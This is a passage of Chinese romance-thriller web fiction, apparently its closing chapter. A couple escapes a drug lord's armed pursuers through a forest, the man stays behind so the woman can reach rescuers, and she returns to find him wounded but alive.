陈江川透过挡风玻璃朝他们?挥手,笑着说:“一路顺风。” 看着他的笑,黎艾心里一阵阵恶寒。 陈添关上对讲机,去踩离合,一边起?步一边对黎艾说:“你?的座位下面?有个暗门,里面?有个背包,你?拿出来,里面?有枪和衣服,你?把衣服换了,陈江川不会这么轻易放我?们?走。” 他说完,车刚好掉头,黎艾立马埋头下去取包。 拿了包,从里面?拿出两把枪,黎艾问他:“这车上真的有炸弹吗?” “有,但这颗炸弹保不了我?们?的命,他们?这种?毒一贩手里肯定有火箭炮,只要我?们?跑出一段距离,他们?就会对我?们?开?火。”陈添一边说着,一边将油门用力踩到底。 “那我?们?怎么办?” 黎艾的神情没有丝毫慌乱,被炸死不过一瞬间的事,比起?落到他们?手里,不知好了几万倍。 “看到前面?那片林子了吗?”陈添也十分?镇定,“我?们?进去。” 陈添猜得没错,车子刚开?出去没几百米,后面?就追上来了六辆车,并呈梯形队势前进,其中当然不包括陈江川那辆,毒一贩身边最不缺的就是敢死队,多的是人愿意冒着生命危险为他做事。 跟过来的六辆车里有一辆改装车,车顶架着个火箭炮,在陈添他们?的车距离林子还有起?码四?千米距离时,后方打出了第一发火箭炮。 “咻——” 火箭炮的声音如同索命的弦音。 陈添看了眼后视镜,狂打方向盘,车子往右漂移出一个大弯,躲过了这枚炮弹。 陈添当过特种?兵,对弹道轨迹比那些武装兵更为了解,从后视镜里看一眼就能判断出火箭炮大概会落在哪儿,往哪儿开?能最大程度避开?爆炸范围,换其他人来,就算没被火箭炮精准击中,也很可能会被爆炸时产生的威力将车子掀翻。 车子拐了弯继续往前方的林子开?,只要后面?没发射火箭炮,他都走直线,尽量早一点抵达。 他全?速行驶,期间又?有几枚炮弹打过来,虽都被他成功避开?,车子也险些被掀翻。 眼看终于抵达森林边界,陈添却没有停车,而是绕着森林边缘环行,现在下去只会被炮弹炸得骨头都不剩,要趁他们?换弹的时候下车才行,等又?一枚炮弹在车辆不远处炸开?,陈添一脚将车刹停,“下车!” 两个人已最快的速度下车,在对方还没反应过来时便已隐匿进了植被茂密的林子。 他们?一钻进林子,身后立马响起?一阵密密麻麻的枪声,不计其数的子弹重重钉入树干。 千钧一发之际,陈添没机会让黎艾把背包给他,黎艾背着一整包的武器丝毫没拖后腿,始终和他跑在同一水平线。 之前在林子里生活的那一个月,黎艾已经完全?掌握了如何在山林里快速穿行。 “把包给我?。” 在林子里跑出一百多米,陈添冲黎艾喊了声。 黎艾把包丢给他。 两人继续呈45度角的方向往前跑,后边那些武装兵以为他们?跑的的直线,估摸着距离打出一发火箭炮,炮弹落在了对他们?全?然造不成伤害的地方,而陈添却精准预估了他们?抵达森林边缘的时间,用力一咬牙,引爆了藏在车内的炸弹。 “嘣——!” 炸弹掀翻了冲在最前面?的两辆车,其中包括那辆携带了火箭炮的改装车。 剩下四?辆车陆陆续续停在林子边上,二十号人从车里下来,追着黎艾和陈添进了林子。 这些武装兵也不是吃素的,在林中的行径速度非常快,还通过地面?的痕迹大致判断出了两人逃跑的大致方向,完全?靠观察地面?痕迹的方式虽然精准但会大幅降低搜寻速度,二十号人分?为了四?波朝他们?逃跑的大致方向快步追过去。 黎艾和陈添一路往前狂奔,上天眷顾,在乱石嶙峋,藤蔓密布的地形下,两人都没有摔倒。 这情况,谁要是摔伤了腿,除非找个地方藏起?来,不然用不了多久就会被追上,但要是藏,更只有死路一条,陈添来时有路过这片林子,知道林子面?积不大,还是平原地势,很容易就能被找到。 黎艾平日的体力并没有多好,可生死关头,人体的所有潜能都会被激发,两人愣是几乎一步没停的狂奔了三个小时,只中途在渡河的时候喝了几口水。 陈江川能混到成为拥有领土权的毒一贩,做事自然无比谨慎,他知道陈添身上一定带着定位器,让陈添送钱来的这条路几乎全?是一望无际的平原,还一路放哨,原本?来接应陈添给他引路的车有七辆,到一个点车上就放下去一个人盯梢,最后只剩下一辆给他引路,为的就是确保没人跟过来。 在这种?情况下,陈添的人根本?没办法第一时间赶来支援。 历时三小时,支援还没赶来,但他们?已经跑到了山林的边缘,眼前是一片辽阔的平原。 这样的平原对于现在的他们?来说,无异于一个靶场,如果继续往前跑,他们?两个人会成为移动的活靶。 陈添似乎早已预料到他们?会在支援抵达前穿过山林,在看到这片平原时,对比黎艾的无措,他表情很平静。 “我?们?现在怎么办?”黎艾喘着气。 陈添转身,没有回答,沉默地取下手腕上的手表,拉过黎艾的手想为她戴上。 “你?干什么?!”黎艾在他触碰到她时猛地收回手,出于一种?不好的直觉。 “这块表里有定位器,你?戴着它,往前跑,叶尧会找到你?。” “你?呢?”黎艾将手背到身后,不让他给她戴表,还往后退了一步,“别告诉我?,你?要为我?垫后。” “黎艾,你?听我?说,”陈添难得表情肃穆,“他们?至少有二十个人,还是武装兵,你?没有作战经验,如果我?们?一起?留在这片林子里,我?们?两个人都会死,你?一个人往前跑,你?能活下来,我?也不用顾忌你?,那样我?还有活下来的可能。” 听他说完,黎艾眼底已然积满了泪,都不用眨眼,也不用风吹,便落了下来。 他就是要为她垫后。 二十个武装兵,他要怎么一个人活下来? “陈……”她想喊他的名字,告诉他,要死他们?一起?死,可嗓子实在堵塞得厉害,一时间竟失了声。 “什么也别说了,”陈添轻轻捧起?她的脸,“他们?很快就会追上来,我?们?没有时间了,昨晚我?让你?一个人冒了回险,今天,你?也让我?一个人冒一次险吧。” 黎艾摇头,眼泪一滴一滴滑落到他手上。 “我?会活着回来见你?,”陈添定定看着他的眼睛,“相信我?。” 说着,他将那枚手表塞进她手里,然后用力将她往前推了一把,“跑。” 黎艾当然清楚,如果她留下来,只会成为他的拖累,带着她面?对二十个武装兵,他们?没有任何生还的可能,如他所说,他一个人,至少还有那么百分?之一的可能,可是,可是…… “记着,你?没有丢下我?,”陈添告诉她,“等和叶尧汇合,你?再?回来找我?。” 黎艾站在原地,怎么也迈不开?脚步。 “跑!” 陈添冲着她的背影发出一声低吼。 黎艾重重闭上眼。 好。 她跑。 但,在此之前,她还有一句话要说。 她转头,望向陈添,用沙哑得几乎不成音的声音开?口:“陈添,如果你?能活下来,我?们?重新开?始。” 陈添先?是一愣,而后笑起?来,“好。” “我?会活下来。” 他向她许诺。 有了他这句话,黎艾强行让自己?将头转回去,只是脚下仍旧如有千钧,还是难以迈出一步。 “往前跑,别回头。” 身后再?次传来陈添的声音,几行泪猝然滑落,黎艾终于迈开?脚步,往前跑。 泪水模糊了所有视线,她看不清脚下的路,也感受不到双脚存在,只凭着本?能,凭着陈添那一句话,往前跑着。 陈添最后看了眼她的背影,握紧手中的枪,转身,独自走进山林。 …… 平原上的风呼啸着,像死神的低吟。 “砰——” 山林里在不久后响起?一阵枪声。 黎艾知道,那是陈添故意放的一枪,为了不让那些人发现奔跑在平原里的她。 那一枪像正中她的心口,她心痛得快要不能呼吸,但她不能不呼吸,她还需要往前跑,拼命往前跑,跑到能看见支援的地方,带着支援,回去找他。 黎艾不知道自己?跑了多久。 没有了林荫的遮蔽,太阳很晒,全?身的水分?似乎都要蒸发,眼泪已经流不出来,但她感受不到热,也感受不到累与渴,唯一能感受到的,只有痛,她的心脏始终痛如刀绞。 这一次,她很听他的话,没有回头。 如果她回头,会看见,身后那片他们?一起?穿行了三个小时的山林在视野里缩成很小很小的一片。 他与陈添之间,已隔万米。 起?初,她还能听见山林里传出的枪声,现在她什么也听不见。 有枪声,那意味着,他还活着,此刻的死寂…… 她不愿去想,只管往前奔跑。 身体早已达到极限,但她始终没有倒下,因为不能倒下,她要是倒下了,谁还能带着人回去找他。 在不知多少次产生耳鸣后,她全?然已经模糊失焦的视野里,出现了几个黑点,她不知道是眼睛出了问题,还是等到了赶来支援的车队,知道发现那些黑点在不断扩大。 是车队!就是车队! 身体里所剩不多的水分?凝聚成最后一滴眼泪,眼泪砸下去,浸入土里,她倒下,又?被扶起?。 “快去救陈添,”她用最后的力气指向身后,“他在那片林子里。” 扶起?她的人将她抱上车,车上有救护人员,他们?给她注射了一些药液,但她什么感觉也没有,一直死死盯着前方,透过前挡风玻璃遥望着那片山林。 她跑了那么久的一段路,因为有车,显得不再?那么漫长,却又?无比漫长,于黎艾而言,这一生她再?没有一段路,比这段路更长了。 终于,车队抵达森林的边界。 黎艾第一个冲了出去。 本?来连站起?来都没力气的她,在山林里跑得比来时还要快。 山林里一片死寂,好在陈添身上还有另一枚定位器,他们?以最快的时间找到了他。 被找到时,陈添半躺在一棵树下,浑身都是弹孔,衣服被鲜血完全?浸透,身下的泥土都被他的血染红了一大片,过多的失血让身体变得僵硬无比,他已然没有办法动弹,但他的心脏还跳动着,眼睛也睁着,他在等—— 等一个人回来找他,和他重新开?始。 他等到了。 <正文完>